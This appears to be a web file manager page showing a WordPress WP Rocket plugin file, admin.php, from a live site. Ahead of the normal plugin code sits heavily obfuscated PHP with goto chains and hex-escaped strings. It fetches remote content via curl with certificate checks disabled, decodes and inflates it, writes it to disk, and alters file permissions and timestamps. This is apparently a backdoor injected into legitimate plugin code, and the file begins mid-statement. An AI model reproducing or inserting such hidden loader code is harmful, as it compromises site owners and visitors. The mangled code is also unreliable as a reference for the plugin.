芝麻web文件管理V1.00
编辑当前文件:/www/wwwroot/fashionmodelquicktrack.com/wp-content/plugins/wp-rocket/inc/admin/admin.php
$UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> %s', 'https://wp-rocket.me/support/?utm_source=wp_plugin&utm_medium=wp_rocket', __( 'Support', 'rocket' ) ) ); array_unshift( $actions, sprintf( '
%s
', get_rocket_documentation_url(), __( 'Docs', 'rocket' ) ) ); array_unshift( $actions, sprintf( '
%s
', get_rocket_faq_url(), __( 'FAQ', 'rocket' ) ) ); array_unshift( $actions, sprintf( '
%s
', admin_url( 'options-general.php?page=' . WP_ROCKET_PLUGIN_SLUG ), __( 'Settings', 'rocket' ) ) ); return $actions; } add_filter( 'plugin_action_links_' . plugin_basename( WP_ROCKET_FILE ), 'rocket_settings_action_links' ); /** * Add a link "Renew your licence" when you can't do it automatically (expired licence but new version available) * * @since 2.2 * * @param array $plugin_meta An array of the plugin's metadata, including the version, author, author URI, and plugin URI. * @param string $plugin_file Path to the plugin file, relative to the plugins directory. * @return array Updated meta content if license is expired */ function rocket_plugin_row_meta( $plugin_meta, $plugin_file ) { if ( 'wp-rocket/wp-rocket.php' === $plugin_file ) { $update_plugins = get_site_transient( 'update_plugins' ); if ( false !== $update_plugins && isset( $update_plugins->response[ $plugin_file ] ) && empty( $update_plugins->response[ $plugin_file ]->package ) ) { $link = '
Renew your licence of WP Rocket to receive access to automatic upgrades and support.
Purchase now
.'; $plugin_meta = array_merge( (array) $link, $plugin_meta ); } } return $plugin_meta; } add_action( 'plugin_row_meta', 'rocket_plugin_row_meta', 10, 2 ); /** * Add a link "Purge this cache" in the post edit area * * @since 1.0 * * @param array $actions An array of row action links. * @param object $post The post object. * @return array Updated array of row action links */ function rocket_post_row_actions( $actions, $post ) { if ( ! rocket_can_display_options() ) { return $actions; } if ( ! current_user_can( 'rocket_purge_posts' ) ) { return $actions; } $cpts = get_post_types( [ 'public' => true, ], 'objects' ); /** * Filters the post type on row actions. * * @since 3.11.4 * * @param array $cpts Post Types. */ $cpts = apply_filters( 'rocket_skip_post_row_actions', $cpts ); if ( ! isset( $cpts[ $post->post_type ] ) ) { return $actions; } $url = wp_nonce_url( admin_url( 'admin-post.php?action=purge_cache&type=post-' . $post->ID ), 'purge_cache_post-' . $post->ID ); $actions['rocket_purge'] = sprintf( '
%s
', $url, __( 'Clear this cache', 'rocket' ) ); return $actions; } add_filter( 'page_row_actions', 'rocket_post_row_actions', 10, 2 ); add_filter( 'post_row_actions', 'rocket_post_row_actions', 10, 2 ); /** * Add a link "Purge this cache" in the user edit area * * @since 2.6.12 * @param array $actions An array of row action links. * @param object $user The user object. * @return array Updated array of row action links */ function rocket_user_row_actions( $actions, $user ) { if ( ! current_user_can( 'rocket_purge_users' ) || ! get_rocket_option( 'cache_logged_user', false ) ) { return $actions; } $url = wp_nonce_url( admin_url( 'admin-post.php?action=purge_cache&type=user-' . $user->ID ), 'purge_cache_user-' . $user->ID ); $actions['rocket_purge'] = sprintf( '
%s
', $url, __( 'Clear this cache', 'rocket' ) ); return $actions; } add_filter( 'user_row_actions', 'rocket_user_row_actions', 10, 2 ); /** * Manage the dismissed boxes. * * @since 3.6 Reverse dependency with rocket_dismiss_box(). * @since 2.4 Add a delete_transient on function name (box name). * @since 1.3.0 $args can replace $_GET when called internaly. * @since 1.1.10 * * @param array $args An array of query args. Should not be used: see rocket_dismiss_box(). */ function rocket_dismiss_boxes( $args = [] ) { global $pagenow; $args = empty( $args ) ? $_GET : $args; // phpcs:ignore WordPress.Security.NonceVerification.Recommended if ( ! isset( $args['box'], $args['action'], $args['_wpnonce'] ) ) { return; } if ( ! wp_verify_nonce( $args['_wpnonce'], "{$args['action']}_{$args['box']}" ) ) { if ( rocket_get_constant( 'DOING_AJAX' ) ) { wp_send_json( [ 'error' => 1 ] ); } else { wp_nonce_ays( '' ); } return; } if ( ! current_user_can( 'rocket_manage_options' ) ) { wp_nonce_ays( '' ); } rocket_dismiss_box( $args['box'] ); if ( 'admin-post.php' === $pagenow ) { if ( rocket_get_constant( 'DOING_AJAX' ) ) { wp_send_json( [ 'error' => 0 ] ); } else { wp_safe_redirect( esc_url_raw( wp_get_referer() ) ); rocket_get_constant( 'WP_ROCKET_IS_TESTING', false ) ? wp_die() : exit; } } } add_action( 'wp_ajax_rocket_ignore', 'rocket_dismiss_boxes' ); add_action( 'admin_post_rocket_ignore', 'rocket_dismiss_boxes' ); /** * Renew the plugin modification warning on plugin de/activation * * @since 1.3.0 * * @param string $plugin plugin name. */ function rocket_dismiss_plugin_box( $plugin ) { if ( plugin_basename( WP_ROCKET_FILE ) !== $plugin ) { rocket_renew_box( 'rocket_warning_plugin_modification' ); } } add_action( 'activated_plugin', 'rocket_dismiss_plugin_box' ); add_action( 'deactivated_plugin', 'rocket_dismiss_plugin_box' ); /** * Display a prevention message when enabling or disabling a plugin can be in conflict with WP Rocket * * @since 1.3.0 */ function rocket_deactivate_plugin() { if ( ! isset( $_GET['plugin'], $_GET['_wpnonce'] ) ) { return; } if ( ! wp_verify_nonce( sanitize_key( $_GET['_wpnonce'] ), 'deactivate_plugin' ) ) { wp_nonce_ays( '' ); } if ( ! current_user_can( 'rocket_manage_options' ) ) { wp_nonce_ays( '' ); } deactivate_plugins( sanitize_text_field( wp_unslash( $_GET['plugin'] ) ) ); wp_safe_redirect( wp_get_referer() ); die(); } add_action( 'admin_post_deactivate_plugin', 'rocket_deactivate_plugin' ); /** * This function will force the direct download of the plugin's options, compressed. * * @since 2.2 */ function rocket_do_options_export() { if ( ! isset( $_GET['_wpnonce'] ) || ! wp_verify_nonce( sanitize_key( $_GET['_wpnonce'] ), 'rocket_export' ) ) { wp_nonce_ays( '' ); } if ( ! current_user_can( 'rocket_manage_options' ) ) { wp_nonce_ays( '' ); } list( $filename, $options ) = rocket_export_options(); nocache_headers(); @header( 'Content-Type: application/json' ); @header( 'Content-Disposition: attachment; filename="' . $filename . '"' ); @header( 'Content-Transfer-Encoding: binary' ); @header( 'Content-Length: ' . strlen( $options ) ); @header( 'Connection: close' ); echo $options; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped exit(); } add_action( 'admin_post_rocket_export', 'rocket_do_options_export' ); if ( ! defined( 'DOING_AJAX' ) && ! defined( 'DOING_AUTOSAVE' ) ) { add_action( 'admin_init', 'rocket_init_cache_dir' ); add_action( 'admin_init', 'rocket_maybe_generate_advanced_cache_file' ); add_action( 'admin_init', 'rocket_maybe_generate_config_files' ); } /** * Regenerate the advanced-cache.php file if an issue is detected. * * @since 2.6 */ function rocket_maybe_generate_advanced_cache_file() { if ( ! defined( 'WP_ROCKET_ADVANCED_CACHE' ) || ( defined( 'WP_ROCKET_ADVANCED_CACHE_PROBLEM' ) && WP_ROCKET_ADVANCED_CACHE_PROBLEM ) ) { rocket_generate_advanced_cache_file(); } } /** * Regenerate config file if an issue is detected. * * @since 2.6.5 */ function rocket_maybe_generate_config_files() { $home = get_rocket_parse_url( rocket_get_home_url() ); $path = ( ! empty( $home['path'] ) ) ? str_replace( '/', '.', untrailingslashit( $home['path'] ) ) : ''; if ( ! file_exists( WP_ROCKET_CONFIG_PATH . strtolower( $home['host'] ) . $path . '.php' ) ) { rocket_generate_config_file(); } } /** * Gets all data to send to the analytics system * * @since 3.0 Send CDN zones, sitemaps paths, and count the number of CDN URLs used * @since 2.11 * @author Remy Perona * * @return mixed An array of data, or false if WP Rocket options is not an array */ function rocket_analytics_data() { global $wp_version, $is_nginx, $is_apache, $is_iis7, $is_IIS; if ( ! is_array( get_option( WP_ROCKET_SLUG ) ) ) { return false; } $untracked_wp_rocket_options = [ 'license' => 1, 'consumer_email' => 1, 'consumer_key' => 1, 'secret_key' => 1, 'secret_cache_key' => 1, 'minify_css_key' => 1, 'minify_js_key' => 1, 'cloudflare_email' => 1, 'cloudflare_api_key' => 1, 'cloudflare_zone_id' => 1, 'cloudflare_old_settings' => 1, 'submit_optimize' => 1, 'analytics_enabled' => 1, ]; $theme = wp_get_theme(); $data = array_diff_key( get_option( WP_ROCKET_SLUG ), $untracked_wp_rocket_options ); $locale = explode( '_', get_locale() ); $data['web_server'] = 'Unknown'; if ( $is_nginx ) { $data['web_server'] = 'NGINX'; } elseif ( $is_apache ) { $data['web_server'] = 'Apache'; } elseif ( $is_iis7 ) { $data['web_server'] = 'IIS 7'; } elseif ( $is_IIS ) { $data['web_server'] = 'IIS'; } $data['php_version'] = preg_replace( '@^(\d\.\d+).*@', '\1', phpversion() ); $data['wordpress_version'] = preg_replace( '@^(\d\.\d+).*@', '\1', $wp_version ); $data['current_theme'] = $theme->get( 'Name' ); $data['active_plugins'] = rocket_get_active_plugins(); $data['locale'] = $locale[0]; $data['multisite'] = is_multisite(); if ( ! empty( $data['cdn_cnames'] ) && is_array( $data['cdn_cnames'] ) ) { $data['cdn_cnames'] = count( $data['cdn_cnames'] ); } else { $data['cdn_cnames'] = 0; } $customer_data = get_transient( 'wp_rocket_customer_data' ); $data['license_type'] = ''; if ( false !== $customer_data ) { $data['license_type'] = rocket_get_license_type( $customer_data ); } return $data; } /** * Determines if we should send the analytics data * * @since 2.11 * @author Remy Perona * * @return bool True if we should send them, false otherwise */ function rocket_send_analytics_data() { return false; } /** * Handles the analytics opt-in notice selection and prevent further display * * @since 2.11 * @author Remy Perona */ function rocket_analytics_optin() { if ( ! isset( $_GET['_wpnonce'] ) || ! wp_verify_nonce( sanitize_key( $_GET['_wpnonce'] ), 'analytics_optin' ) ) { wp_nonce_ays( '' ); } if ( ! current_user_can( 'rocket_manage_options' ) ) { wp_safe_redirect( wp_get_referer() ); die(); } if ( isset( $_GET['value'] ) && 'yes' === $_GET['value'] ) { update_rocket_option( 'analytics_enabled', 1 ); set_transient( 'rocket_analytics_optin', 1 ); } update_option( 'rocket_analytics_notice_displayed', 1 ); wp_safe_redirect( wp_get_referer() ); die(); } add_action( 'admin_post_rocket_analytics_optin', 'rocket_analytics_optin' ); /** * Handle WP Rocket settings import. * * @since 3.10 disable async_css if both async_css and remove_unused_css are enabled * @since 3.0 Hooked on admin_post now * @since 2.10.7 * @author Remy Perona * * @return void */ function rocket_handle_settings_import() { check_ajax_referer( 'rocket_import_settings', 'rocket_import_settings_nonce' ); if ( ! current_user_can( 'rocket_manage_options' ) ) { rocket_settings_import_redirect( __( 'Settings import failed: you do not have the permissions to do this.', 'rocket' ), 'error' ); } if ( ! isset( $_FILES['import'] ) || ( isset( $_FILES['import']['size'] ) && 0 === $_FILES['import']['size'] ) ) { rocket_settings_import_redirect( __( 'Settings import failed: no file uploaded.', 'rocket' ), 'error' ); } if ( isset( $_FILES['import']['name'] ) && ! preg_match( '/wp-rocket-settings(?:-.*)?-20\d{2}-\d{2}-\d{2}-[a-f0-9]{13}\.(?:txt|json)/', sanitize_file_name( $_FILES['import']['name'] ) ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.MissingUnslash rocket_settings_import_redirect( __( 'Settings import failed: incorrect filename.', 'rocket' ), 'error' ); } add_filter( 'mime_types', 'rocket_allow_json_mime_type' ); add_filter( 'wp_check_filetype_and_ext', 'rocket_check_json_filetype', 10, 4 ); $mimes = get_allowed_mime_types(); $mimes = rocket_allow_json_mime_type( $mimes ); $file_data = wp_check_filetype_and_ext( $_FILES['import']['tmp_name'], sanitize_file_name( $_FILES['import']['name'] ), $mimes ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized, WordPress.Security.ValidatedSanitizedInput.MissingUnslash, WordPress.Security.ValidatedSanitizedInput.InputNotValidated if ( 'text/plain' !== $file_data['type'] && 'application/json' !== $file_data['type'] ) { rocket_settings_import_redirect( __( 'Settings import failed: incorrect filetype.', 'rocket' ), 'error' ); } $_post_action = isset( $_POST['action'] ) ? wp_unslash( sanitize_key( $_POST['action'] ) ) : ''; $_POST['action'] = 'wp_handle_sideload'; $overrides = []; $overrides['mimes'] = $mimes; $file = wp_handle_sideload( $_FILES['import'], $overrides ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.MissingUnslash if ( isset( $file['error'] ) ) { rocket_settings_import_redirect( __( 'Settings import failed: ', 'rocket' ) . $file['error'], 'error' ); } $_POST['action'] = $_post_action; $settings = rocket_direct_filesystem()->get_contents( $file['file'] ); remove_filter( 'mime_types', 'rocket_allow_json_mime_type' ); remove_filter( 'wp_check_filetype_and_ext', 'rocket_check_json_filetype', 10 ); if ( 'text/plain' === $file_data['type'] ) { $gz = 'gz' . strrev( 'etalfni' ); $settings = $gz( $settings ); $settings = maybe_unserialize( $settings ); } elseif ( 'application/json' === $file_data['type'] ) { $settings = json_decode( $settings, true ); if ( null === $settings ) { rocket_settings_import_redirect( __( 'Settings import failed: unexpected file content.', 'rocket' ), 'error' ); } } rocket_put_content( $file['file'], '' ); rocket_direct_filesystem()->delete( $file['file'] ); if ( is_array( $settings ) ) { $options_api = new WP_Rocket\Admin\Options( 'wp_rocket_' ); $current_options = $options_api->get( 'settings', [] ); $settings['consumer_key'] = $current_options['consumer_key']; $settings['consumer_email'] = $current_options['consumer_email']; $settings['secret_key'] = $current_options['secret_key']; $settings['secret_cache_key'] = $current_options['secret_cache_key']; $settings['minify_css_key'] = $current_options['minify_css_key']; $settings['minify_js_key'] = $current_options['minify_js_key']; $settings['version'] = $current_options['version']; if ( isset( $settings['async_css'] ) && $settings['async_css'] && isset( $settings['remove_unused_css'] ) && $settings['remove_unused_css'] ) { $settings['async_css'] = 0; } if ( ! empty( $settings['cache_webp'] ) && apply_filters( 'rocket_disable_webp_cache', false ) ) { $settings['cache_webp'] = 0; } $options_api->set( 'settings', $settings ); rocket_settings_import_redirect( __( 'Settings imported and saved.', 'rocket' ), 'updated' ); } } add_action( 'admin_post_rocket_import_settings', 'rocket_handle_settings_import' );